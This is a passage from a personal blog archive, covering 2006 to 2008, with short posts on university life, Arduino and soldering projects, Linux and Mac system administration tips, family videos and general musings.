This was enough for my purposes.</p> </article> <article> <h1>School Notes Section Reborn</h1> <p>Wed, 19 Nov 2008 10:30:34 +0000</p> <p>Okay, so it’s not really news that I often take my notes for school on a tablet. I first started posting some of my notes over a year ago, however the way I was doing it took me quite a bit of effort/time to post a single lecture. Now I’ve re-worked my process and created the new notes section. While I feel this section isn’t as “pretty” as it ought to be, it is very easy for me to add new notes to it. I’ve since added all the notes for all the courses I currently have and have also pasted in course descriptions. I only really expect a few of my peers to derive any real benefit from this, but, hey, you never know, other people may find it helpful too.</p> </article> <article> <h1>Calgary Traffic Web Cam info Aggregated!</h1> <p>Mon, 17 Nov 2008 13:59:45 +0000</p> <p>So, I was checking out this neat City of Calgary (where I allegedly live) Traffic Website. It shows a cool map of the city with little camera icons for each location where the city has a web cam setup. What I didn’t like about this setup is that you can only look at one camera at a time and they expect you to click on each icon to bring up the view. So I looked at how they structured things a bit and just whipped up this page that gives a sense of the city all at once. Check it out!</p> </article> <article> <h1>Arduino/Freeduino Play</h1> <p>Fri, 14 Nov 2008 10:24:18 +0000</p> <p>Here’s a video I decided to toss up on YouTube just showing some of the results of some of the goofing around I’ve been doing with my Arduino board (it’s actually a Freeduino).</p> <p>I had a lot of trouble getting the board to work at first, but once I ran it through an ultrasonic cleaner it seemed to smooth out a lot. Though, some times it still has a hard time programming, in which case I can just apply pressure to the FTDI chip and then it’ll program. I’ve tried re-soldering the pins on the FTDI, but that didn’t entirely resolve the issue enough. Not to worry though, it consistently works perfectly enough for me.</p> </article> <article> <h1>HackADay WebServer Project</h1> <p>Fri, 14 Nov 2008 09:44:25 +0000</p> <p>So I found this article on HackADay.com that discusses how to build a small computer on a PCB about the size of a business card. So I went ahead and managed to order a PCB for it and all the parts.</p> <p>It took me awhile to scrounge the stuff together, but eventually it all arrived. Then I spent a very careful 10 hours soldering on all the tiny little surface mount components. I must admit, this was a great introduction to that world. Anyway, here’s a YouTube video I made just showing this thing hooked up to some power. At this point, I don’t have a programmer, so I can’t actually program the board to do anything other than look like a work of art.</p> </article> <article> <h1>Outstanding Walking Robot "Dog"</h1> <p>Tue, 12 Aug 2008 06:42:52 +0000</p> <p>I can’t believe this machine! Just imagine where this will evolve to in a few years!</p> </article> <article> <h1>Wicked Lightning Strike Video</h1> <p>Tue, 12 Aug 2008 06:23:21 +0000</p> <p>Found a link to this on MAKE Magazine</p> </article> <article> <h1>OpenMoko Emulator</h1> <p>Sat, 26 Jul 2008 16:32:05 +0000</p> <p>Hey gang, for those interested, I found on the openmoko website this awesome little file you can download, extract and quickly use to get the OpenMoko firmware to boot up in QEMU. So those who are interested in checking this phone out can get a slight sample of it this way. What I like about it is that I can begin developing for the project without having to own one!</p> </article> <article> <h1>Ubuntu Samba Apache Active Directory Authentication</h1> <p>Wed, 16 Jul 2008 07:16:25 +0000</p> <p>So I’ve spent some time for something at work figuring out how to get an Ubuntu server to authenticate users with a Windows 2003 Server Active Directory. Using the process I’ve found by combining various sources, my instructions show how to get a machine setup such that users logging in to the shell, accessing a samba share and checking out a website (or sub-directory of one) can all be authenticated using credentials centrally stored in a separate Active Directory server.</p> </article> <article> <h1>Dr. Horrible's Sing-Along Blog!</h1> <p>Tue, 15 Jul 2008 07:14:16 +0000</p> <p>How I love Joss Whedon! His revolution has launched as of today! Below is the teaser for his made for internet series “Dr. Horrible’s Sing-Along Blog”. The first episode was released today at DrHorrible.com.</p> <p><a href="http://www.drhorrible.com"><figure> </picture> </figure> </a></p> <p>\t \t \t \t <a href="http://www.vimeo.com/1227202?pg=embed&sec=1227202">Teaser</a> from <a href="http://www.vimeo.com/drhorrible?pg=embed&sec=1227202">Dr. Horrible’s Sing-Along Blog</a> on <a href="http://vimeo.com?pg=embed&sec=1227202">Vimeo</a>.</p> <p>The Dr. Horrible website currently is having a really hard time keeping up for the traffic demands (which is a great thing - mostly). An alternative option is to buy it straight up on iTunes! It’ll be the first thing I do when I get home from work tonight!</p> </article> <article> <h1>Using a Clone PC Video card in a Mac Pro</h1> <p>Sun, 29 Jun 2008 11:47:06 +0000</p> <p>Howdy World, I seek your input. I want to run a clone PC video card in my 2008 Mac Pro machine. In particular, I was thinking I’d get something as close to the $280.00 Apple provided NVIDIA 8800 GT card as possible. My current first choice is the $180 eVGA e-GeForce 8800 GT.</p> <p>I expect the potential major problem to be that a clone video card may be unaware of the boot process of a mac machine. I’m speaking with particular respect to EFI. That said, I’m also aware that clone PCs are intended to be able to use EFI instead of BIOS - so I’d expect decent newer video cards to support this.</p> </article> <article> <h1>Cross Over vs. Switched Network performance</h1> <p>Mon, 19 May 2008 18:30:59 +0000</p> <p>Howdy, so I just changed my setup from having a single ethernet cable running from my mac pro to my file server (using a Netgear gigabit NIC - GA311NAR) to connecting over a DLink Gigabit switch (DGS-1005D).</p> <p>I have had the understanding that network transfer rates through switching fabric will constrain the transfer rates (I would have thought by means of bandwidth or propagation time) and perhaps they do, but in short my little change over here has shown me that the difference is relatively irrelevant.</p> </article> <article> <h1>Hilarious Ancient Family Video</h1> <p>Sun, 27 Apr 2008 05:20:51 +0000</p> </article> <article> <h1>Don't be snotty. Exhibit A:</h1> <p>Sat, 26 Apr 2008 13:24:38 +0000</p> <p>Just cause it’s exam season</p> </article> <article> <h1>Best Case Scenario VNC</h1> <p>Fri, 25 Apr 2008 23:37:30 +0000</p> <p>Here’s a little video I did up of what’s got to be as good as it’s gonna get over VNC. The Video speaks for itself. Have fun.</p> </article> <article> <h1>Refurbished Mac Pro First Boot</h1> <p>Wed, 23 Apr 2008 13:09:48 +0000</p> <p>Here’s a little video I did of the “first” boot of the Refurbished Mac Pro I picked up.</p> </article> <article> <h1>Unboxing of Refurbished Mac Pro machine</h1> <p>Wed, 23 Apr 2008 11:03:39 +0000</p> <p>Here’s a video I made of opening the refurbished mac pro I picked up. Saved me some good coin going the refurb route - though I figured people may be interested in seeing how a refurb pro comes packed.</p> </article> <article> <h1>Highly exciting (sort of) Nerd Project</h1> <p>Wed, 16 Apr 2008 18:12:53 +0000</p> <p>This is something I’m working on for school.. Pretty gruesome project, though at times it’s fun..</p> </article> <article> <h1>Wowzers April Snow!</h1> <p>Thu, 10 Apr 2008 05:30:16 +0000</p> <p>I thought we were done with winter, but perhaps today’s freak snow storm is the dying breath of this winter.. After all, it is April 10th!</p> </article> <article> <h1>Crazy Painted Parking Lot Car</h1> <p>Thu, 10 Apr 2008 03:18:26 +0000</p> <p>So I was entering the mall with some friends when I came across this car. Who knows what the deal with it was, but that paint looked like it was meant to stay on.. How bizarre!</p> </article> <article> <h1>Randomness Pictures Posted</h1> <p>Tue, 08 Apr 2008 21:38:46 +0000</p> <p>In accordance with my procrastination regiment, I have posted some of my more recent photos. Check it out.</p> </article> <article> <h1>OSX Automator Tutorial</h1> <p>Thu, 03 Apr 2008 18:36:42 +0000</p> <p>I’m just learning about Apple’s little scripting-for-nonprogrammers generally referred to as Automator. Below is a youtube video I’ve found that seems like a good basic illustration.</p> </article> <article> <h1>Zach & Al playing with a ball</h1> <p>Mon, 17 Mar 2008 03:17:17 +0000</p> <p>At Alistair’s B-Day, kids playing with a neat ball</p> </article> <article> <h1>best commercial ever</h1> <p>Mon, 17 Mar 2008 03:15:29 +0000</p> </article> <article> <h1>The Ballad Of The Noob</h1> <p>Mon, 17 Mar 2008 03:15:28 +0000</p> </article> <article> <h1>World of Warcraft BigBlueDress</h1> <p>Mon, 17 Mar 2008 03:15:28 +0000</p> </article> <article> <h1>Bouvier des Flandres</h1> <p>Mon, 17 Mar 2008 03:15:24 +0000</p> </article> <article> <h1>Cat and Dog funny (get out of my bed)</h1> <p>Mon, 17 Mar 2008 03:15:24 +0000</p> <p><em>A cheeky cat (Babe) lays in the dog’s bed! Doggy (Rudy) desperately trying to find a way to get the cat out of it! Pretty rediculus! Not a common cat vs dog video! Enjoy it!</em></p> <div class="video"> </div> </article> <article> <h1>Linux iPhone Video - Open Source iPhone is better</h1> <p>Mon, 17 Mar 2008 03:15:24 +0000</p> </article> <article> <h1>PowerPC vs x86: Endianess</h1> <p>Mon, 17 Mar 2008 03:15:23 +0000</p> </article> <article> <h1>Balmer Sells Windows</h1> <p>Mon, 17 Mar 2008 03:15:22 +0000</p> </article> <article> <h1>Happy Birthday Song for Alistair</h1> <p>Mon, 17 Mar 2008 02:58:57 +0000</p> </article> <article> <h1>Alistair gets a Bike</h1> <p>Mon, 17 Mar 2008 02:31:32 +0000</p> </article> <article> <h1>Caris Shows off her Stickers</h1> <p>Sun, 16 Mar 2008 12:20:51 +0000</p> </article> <article> <h1>Alistair Turns 3!</h1> <p>Sun, 16 Mar 2008 12:19:04 +0000</p> <p>Check out the new pictures!</p> </article> <article> <h1>Upgrade your VM to DOS 5!</h1> <p>Sun, 16 Mar 2008 12:15:37 +0000</p> <p>Ha ha ha ha - seriously, this rocks. Screw installing it natively on your PC, but as a VM, it’ll fly!</p> </article> <article> <h1>ASUS EEE Tweaked out & for sale</h1> <p>Sun, 16 Mar 2008 09:17:59 +0000</p> <p>Check it out on E-Bay if you’re interested: Click here</p> </article> <article> <h1>Ubuntu 7.10 on EEE PC</h1> <p>Sun, 16 Mar 2008 09:06:45 +0000</p> <p>Here’s a little video I did of Ubuntu 7.10 booting on my EEE PC.</p> </article> <article> <h1>The Caris Instrument</h1> <p>Mon, 10 Mar 2008 09:23:09 +0000</p> <p>In the summer of 2007 I discovered that I could play my niece Caris as an instrument. I must admit I’ve got a lot of practice left before I can play her half as well as I can play a 12lb bass fish against the side of a car. But here you can witness one of my first attempts at mastering this most unusual instrument.</p> </article> <article> <h1>Taunting a Raptor</h1> <p>Mon, 10 Mar 2008 09:16:34 +0000</p> <p>In a daring display of courage the Jaymus taunts the appetite of his pet Raptor. The consequences of which were nearly gruesome, however a brilliant quick escape ensured the Jaymus’ survival so that he may taunt again in the future!</p> </article> <article> <h1>Videos Section Created</h1> <p>Mon, 10 Mar 2008 06:56:55 +0000</p> <p>Howdy! Okay I’ve done some updates to the site. I added the new videos page (see link on banner above) that currently has links to a number of youtube videos I’ve posted. In the future, I think I’d like to arrange the videos differently and include links to my favorite videos too. But for the moment, go check out the video page.</p> <p>I’ve also posted quite a few more pictures in the pictures section:</p> </article> <article> <h1>Online Schedule Updated</h1> <p>Mon, 11 Feb 2008 08:09:22 +0000</p> <p>For the armies of you trying to track me - I’ve just updated my schedule page to use my google calendar rather than a boring old JPG. Have fun stalking away.</p> </article> <article> <h1>Winter 2008 Academic Schedule Now Available</h1> <p>Mon, 14 Jan 2008 09:45:05 +0000</p> <p>Hey family, friends and stalkers alike.. I’ve just posted my Winter 2008 Academic Schedule.. So you know, set it to your wallpapers already.</p> <p><a href="https://dawning.ca/about/school-schedule/"><figure> </picture> </figure> </a></p> <p>Take care</p> </article> <article> <h1>Chilliwack & San Fran Pics posted</h1> <p>Wed, 19 Sep 2007 00:50:54 +0000</p> <p>I’ve just posted some pictures from my recent trip to Chilliwack, BC and San Francisco - Check them out in the photos section!</p> <p><figure> </picture> </figure> </p> <p><figure> </picture> </figure> </p> </article> <article> <h1>The Cottage itself is for sale!</h1> <p>Wed, 22 Aug 2007 03:22:10 +0000</p> <p>Hey friends. My parents are now selling our beloved cottage building to make room for our next cottage. I’ve just posted a link to an ebay posting for the building. I decided to make a posting here on my site just to help the listing’s web presence. The building is located in Windermere, British Columbia. Check out the ebay posting if you think you may be interested!</p> <p>Go here to see the posting!</p> </article> <article> <h1>Cheers to Cliff</h1> <p>Tue, 21 Aug 2007 03:38:03 +0000</p> <p>Back in the fall of 2006 I began a full year course at the University of Calgary - cpsc550. This course is considered a privilege to take as the faculty exposes students in it to some special instructors who really are at the uni to do real work. My offering of the course had two instructors Darcy Grant and Cliff Marcellus. This post is about Cliff in particular. As the course progressed I came to deeply appreciate Cliff as he had a sense of humor I considered to be very unusual, he would say completely hilarious things that required you really be familiar with the topic at hand to really appreciate. Cliff and I exchanged a few emails containing some rather outrageous intellectual collaboration regarding physics and the workings of the universe as according to Star Trek. Towards the end of the course I showed Cliff some diagrams of a general purpose computer architecture I had thought up - he was highly enthusiastic about them and firmly encouraged me to continue designing.</p> </article> <article> <h1>Electronic Notetaking for School and Life</h1> <p>Fri, 17 Aug 2007 04:48:41 +0000</p> <p>As I prepare for yet another semester of school, I’ve decided it’s time I finally find a method to electronically record my notes. At this point I’m putting a call out there for some help / suggestions on what would do the trick.</p> <p>As a student there are a few main requirements I have for this project:</p> <ol> <li>Cost ($500 would be ideal - $1K is getting out of control)</li> <li>Functionality (must be able to draw notes in to it at a relatively high speed and resolution)</li> <li>Reliability</li> <li>Portability</li> </ol> <p>As it stands there’s one device that meets 3 of these requirements really well, as far as I can tell. That would be the iRex iLiad (see image below).</p> </article> <article> <h1>GPT & MBR - A sweet combo</h1> <p>Thu, 26 Jul 2007 18:19:24 +0000</p> <p>So for those of you proud Intel Mac owners that have faced the same multi-OS configuration challenges I have.. Here’s a thought on something I tried today at work.</p> <p>The problem was I had a single hard drive that I wanted to have 4 partitions on. The schema was as follows:</p> <pre><code> Partition Purpose 1 Mac OS - Tiger 2 Mac OS - Leopard 3 Mac OS - Auxillary 4 Fat32 or NTFS </code></pre> <p>And so as you may well know, EFI will have it’s own partition at the start of the drive.</p> </article> <article> <h1>Jabber Service is open</h1> <p>Tue, 03 Jul 2007 12:54:33 +0000</p> <p>So long as no one abuses it, I’m opening up my Jabber server for the community at large to use. To use the Web-based client, just click here. (It’s a little slow to load, be patient)</p> <p>Once you’ve registered yourself as a user, you can go ahead and use my MSN transport as well. Through the MSN Transport, you can log in to MSN from my Jabber Server. If I have to explain why this is cool, you probably won’t really make good use of it.</p> </article> <article> <h1>Firefox on the iPhone?</h1> <p>Fri, 15 Jun 2007 06:10:31 +0000</p> <p>Okay so a few days ago Apple said that they’ll allow third party development for the iPhone (<em>cheers</em>).. However given that any third party apps have to exist as a web application I’m wondering how I’m going to run Firefox on my iPhone!? Now, I’m curious about this whole new attempt to make Safari 3 rule the universe, but frankly, I can’t see how they can defeat Firefox with it’s awesome plugin architecture and highly active open community. Though I do welcome the attempt to make something even better. Anyway, so I’m thinking that what we need is someone to make a web UI for Firefox so I can run it in Safari. How awesome (<em>sarcastic</em>) would that be!? A browser within a browser. Wicked.</p> </article> <article> <h1>Shrinking an LVM</h1> <p>Thu, 07 Jun 2007 04:11:42 +0000</p> <p>Okay, so I’m posting how to reduce the size of a LVM non-destructively. I’ve searched a fair bit for an simple guide on doing this and I eventually found some stuff that made me kind of stumble on the solution. I hope this brief guide helps someone save some real time.</p> <p>I had an lvm spanning 7 partitions and decided I wanted to reduce it’s size. In short, the key is understanding the functional quirks of <em>pvmove</em>.</p> </article> <article> <h1>Massive Photo Management!</h1> <p>Wed, 06 Jun 2007 11:58:57 +0000</p> <p>Check out this amazing video of how thousands upon thousands of photos can be manipulated in a very fluid & intuitive way!</p> </article> <article> <h1>PVR-150 for Linux Video Capture</h1> <p>Sun, 03 Jun 2007 06:08:38 +0000</p> <p>So I picked up a PVR-150 for video capture. Of course this is the classic problem of capturing video from a RCA/VHS source. I’ve got two other video capture cards (ATI TV-Wonder PCI and ASUS TV-7135LP). So far, it looks like the input from the PVR-150 is vastly superior to the others. That said, it’s also proven to be vastly more challenging to get input from.</p> <p>At this point, I’ve managed to get input to mplayer in linux working correctly. Mplayer has an interface intended for use with cards such as the PVR-150. However, I haven’t had much success with that interface yet.</p> </article> <article> <h1>New Photo Action!</h1> <p>Tue, 29 May 2007 12:52:27 +0000</p> <p>Howdy! So after some investigation, I’ve found a plugin for my website here that’ll let me display my facebook photo albums. Massive thanks to Aaron for his <a href="http://www.aaronharp.com/dev/wp-fotobook">plugin</a> for this! It seems to be working quite well right now and so I figure I’ll move my images over from my existing photo back-end (Flickr) to Facebook.</p> <p>For example: <a href="https://dawning.ca/facebook-photos/family-in-sweden-stuff"><figure> </picture> </figure> </a></p> <p><a href="https://dawning.ca/facebook-photos/random-pics"><figure> </picture> </figure> </a></p> <p><a href="https://dawning.ca/facebook-photos/hangin-at-the-lake"><figure> </picture> </figure> </a></p> </article> <article> <h1>A coin & my existence</h1> <p>Mon, 28 May 2007 09:30:04 +0000</p> <p>A great many years ago my great grandfather and his best friend decided to travel to western canada to find work. They first traveled to Winnipeg where they were told they could find a good job with the drop of a hat. Once they got there, they heard that there were even better opportunities if they went further west. So further west they ventured.</p> <p>They reached Saskatoon and discovered that the jobs weren’t as fruitful as they expected. Then they heard that if they continued further west, they could find easy pay they sought. Onward they went.</p> </article> <article> <h1>Moved!</h1> <p>Mon, 14 May 2007 07:34:03 +0000</p> <p>Well it’s about time. I’ve moved out of my parents place.. Need I say more? Perhaps I’ll post some pictures later!</p> </article> <article> <h1>7.04!!!!</h1> <p>Thu, 19 Apr 2007 09:46:49 +0000</p> <p>Ubuntu Linux 7.04 has JUST been released! This Linux distribution has been uniting the penguins and is totally rocking the linux desktop world and I’m starting to see some massive progress on the server side too. Seriously, if you ever thought of trying out linux in the past but haven’t, this is the the time to give it a go! Go download it from <a href="#ZgotmplZ">here</a> or go to the main Ubuntu site and get a torrent or a mirror or whatever! Have fun! :)</p> </article> <article> <h1>What's going on out there?</h1> <p>Tue, 17 Apr 2007 10:01:23 +0000</p> <p>After listening to the details behind the Virginia Tech shooting I’m left trying to make heads or tails of the whole situation. Clearly there has already been established a real pattern of this sort of thing. I can recall the first few times it happened I was immediately shocked and disturbed. This time, I totally didn’t care at first. It was just YET another shooting. After a short time I began to digest that and now am rather quite disturbed as this should most certainly never be the sort of thing to just write off. But then, isn’t this kind of thing happening ALL the time in other countries? Maybe not, but it certainly seems to me that we as a global socieity have this habit of mass killing eachother. But why? I can see some positive things that come out of it, given that tragedy unites and reminds us what’s important. But the cost is too high.</p> </article> <article> <h1>People are silly</h1> <p>Mon, 19 Feb 2007 14:29:48 +0000</p> <p>Just a thought… What If the $400B spent on that oil-grab party over in Iraq had been invested in space exploration!? Apparently the entire space shuttle program (including all the infrastructure for it) has currently cost just under a total of $150B. I believe a WTF is in order.</p> <p>I had to get that out. Thank you, that is all for now.</p> </article> <article> <h1>Apparently I'm a musical artist or something..</h1> <p>Sat, 03 Feb 2007 19:25:12 +0000</p> <p>At least, that’s what Amie St. calls you when you publish your own music on it.. Check out my Song “The Dawning” I’ve just put up on Amie St. You can download a copy of it there.. It’s nothing of particular significance - I used GarageBand to make it, fun little program!</p> </article> <article> <h1>Cheers to the happily employed</h1> <p>Mon, 29 Jan 2007 14:16:10 +0000</p> <p>So, a buddy at work recently asked if anyone wanted a link to their websites added to his blogroll. After giving him the url for dawning I thought to myself I really need to put up a new post on here…</p> <p>What many of you may well not know at this point is that I have started my internship! I’m working for a funktacular company called Cambrian House. Offically I’m there as a developer though I find I’m working on a large number of projects. And doing a TON of learning! Anyway, the company treats it’s people very very well and I’m having one kick ass time.</p> </article> <article> <h1>2006 Santa Party!</h1> <p>Sun, 24 Dec 2006 16:44:40 +0000</p> <p><figure> </picture> </figure> The 2006 Santa party has been yet another resounding success! I have included various small video clips from it on YouTube. Go to the Photos section to see the pictures from the lastest SP!</p> <p>Here’s a video from the party: <a href="http://www.youtube.com/watch?v=8s9tqBoCRgY">YouTube Video</a></p> </article> <article> <h1>K-Maps & emotion</h1> <p>Thu, 14 Dec 2006 20:29:39 +0000</p> <p>AWESOME.</p> <p><figure> </picture> </figure> </p> <p>I never thought someone would actually make a suggestion for use of K-Maps like this, but alas here it is.. Someone trying to begin the work of mapping love to digital logic. Now I’m extra glad I got an FPGA - I’ll just finish this K-map and find my true love in a single chip. It’s almost too perfect. (origional: /uploads/external/karnaugh_9d64f3c9.jpg)</p> </article> <article> <h1>A minor update</h1> <p>Tue, 28 Nov 2006 17:55:29 +0000</p> <p>Howdy - perhaps a few weeks late, but alas here are the pictures from my recent ski trip to Sunshine. Definitely a prime example of a wicked time. Check out the pictures in my Photos section.</p> </article> <article> <h1>The Spartan versus the Samurai</h1> <p>Fri, 10 Nov 2006 20:34:15 +0000</p> <p>Throughout the ages there have been multiple eras through which particular societies have totally dominated the world in a military regard. Reflecting upon some of the famous warriors throughout these times, I wonder who would emerge the ultimate victor.</p> <p>Consider the case of a Spartan versus and Samurai.. The Samurai would be equipped with fairly light equipment and insanely sharp weapons whereas the Spartan would be beefed up with uber-armour, which would certainly weigh nearly a ton. The question I pose to you all is who do you think would win in the ultimate showdown?</p> </article> <article> <h1>Wow 14 day trial disc!</h1> <p>Tue, 07 Nov 2006 13:42:46 +0000</p> <p>So I was chillin at London Drugs, picking up some random cable when I noticed a little DVD package for sale for $2. I simply had to get one. It’s a World of Warcraft Trial DVD. As such, it must contain all the game files needed, which makes the $2 worth it (they actually gave it to me for free). See, those of us who play this game find that an installation of it kinda sucks. This is due to the multiple CDs needed to provide the ~6gb of content that needs to be installed. Well, anyway, I figure this will come in handy for my “Warcrack” pushing hobby.</p> </article> <article> <h1>Awesome weekend upcoming</h1> <p>Tue, 07 Nov 2006 13:37:20 +0000</p> <p>As I sit here at work, waiting for this lame thing to update I find myself looking forward to the upcoming weekend. A pack of us are headed out to Sunshine for a little ski trip and it’s bound to be a glorious time. I can’t say I know this group all too well, but given that the night before we head out we’re having an intense poker battle, I figure some seriously awesome times are in store.</p> </article> <article> <h1>Photos Photos Photos!</h1> <p>Sun, 05 Nov 2006 16:05:49 +0000</p> <p>Howdy gang.. Well, I’ve FINALLY got a pretty decent photo gallery setup now!</p> <p>It’s been a long time coming too! At this point I’ve only got ~30pictures in there, so I’ll have to add more, but that’ll happen pretty rapidly.</p> <p>For those who are interested, I’ve found a tool that lets me integrate photos I store on Flickr in to my website here! Sweet!</p> <p>Go <a href="https://dawning.ca/photos">here</a> to see the pictures.</p> </article> <article> <h1>Time trotts forward</h1> <p>Thu, 26 Oct 2006 01:44:01 +0000</p> <p>Howdy… So I think I’m gonna stick with this new theme. It’s pretty cool, but sure to click on the little images on the banner @ the top.</p> <p>Other than that… Nothing to report to your internet nuts.</p> <p>Post a comment if you find it takes a nasty long time for my pages to load for ya.</p> <p>Cheers!</p> </article> <article> <h1>Life.. in the world of me sitting here now...</h1> <p>Fri, 20 Oct 2006 01:28:44 +0000</p> <p>As I sit here late at night, knowing full well that I need to get up and rack my brain intensely for countless hours.. I find myself drawn to writing a post on my little website. I feel badly for those of you who actually do check here expecting to see glorious progress. Yes, there has been quite significant progress, but still… You my faithful friends will have more content to fool with soon enough (ish). [gotta love “ish” for ambiguizing everying. Yes, “ambiguizing” is a word, ish]</p> </article> <article> <h1>Back to school!</h1> <p>Wed, 13 Sep 2006 10:31:48 +0000</p> <p>It’s time for me to jump back in to the fire and nail down yet another year of school. Given this is now my 5th year and I still have 3 (probably 4 with internship) years to go I find myself using all my Jedi powers to keep myself jazzed about the remotely near future.</p> <p>As I write this post I sit in the second row of my Engg 319 (Lame statistics for bored Engineers). The prof continues to spew out material, all of which I have definitely encountered in other courses. I suppose this happens when you take more than one degree. Je ne sais pas.</p> </article> <article> <h1>Solar Car to Lethbridge</h1> <p>Mon, 21 Aug 2006 11:18:12 +0000</p> <p>Today a group of us are driving down to Lethbridge to have our car in the Whoop Up days parade in Lethbridge tomorrow. Sounds like it’s gonna be a blast. I’ll be driving Soleon, which is always a thrill. With a touch of fortune, I’ll manage to post some pictures of the trip here when I return!</p> </article> <article> <h1>In to the meat grinder</h1> <p>Fri, 18 Aug 2006 07:48:53 +0000</p> <p>Well, in a few hours I write my physics 259 (electricity & magnetism for engineers).. Despite genuine efforts, I feel that this won’t be a “fun” experience by any stretch.</p> <p>I suppose I had better get back to my last minute cramming.</p> <p>Cheers</p> </article> <article> <h1>Damned Samba</h1> <p>Wed, 16 Aug 2006 23:55:35 +0000</p> <p>Well, my progress has been stopped in its tracks for the evening. I can’t seem to get my server to let me write files to it in the manner that I prefer. After many hours of checking and rechecking, I’ve made no progress. Bothers me that I’ve setup a ton of these before and never had this problem.</p> <p>But perhaps it’s best I stop anyway as I have an exam I really need to be focused on studying for.</p> </article> <article> <h1>Yet another new dawning.ca website</h1> <p>Wed, 16 Aug 2006 20:46:33 +0000</p> <p>As I work away trying to get this new web server of mine to work just the way I like, I find I keep having to rebuild this website.. So, with some luck, this will be the last rebuild and away things will go!</p> </article> </main></body></html>